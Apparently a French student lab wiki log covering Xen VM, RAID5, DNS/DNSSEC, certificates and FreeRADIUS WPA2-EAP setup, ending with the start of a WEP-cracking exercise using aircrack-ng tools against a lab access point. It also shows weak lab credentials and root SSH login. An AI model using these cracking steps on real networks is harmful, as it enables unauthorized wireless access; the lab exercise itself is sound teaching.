Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte. &lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54698</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54698"/>
				<updated>2020-12-15T14:03:28Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Configuration de la VM */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       //Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
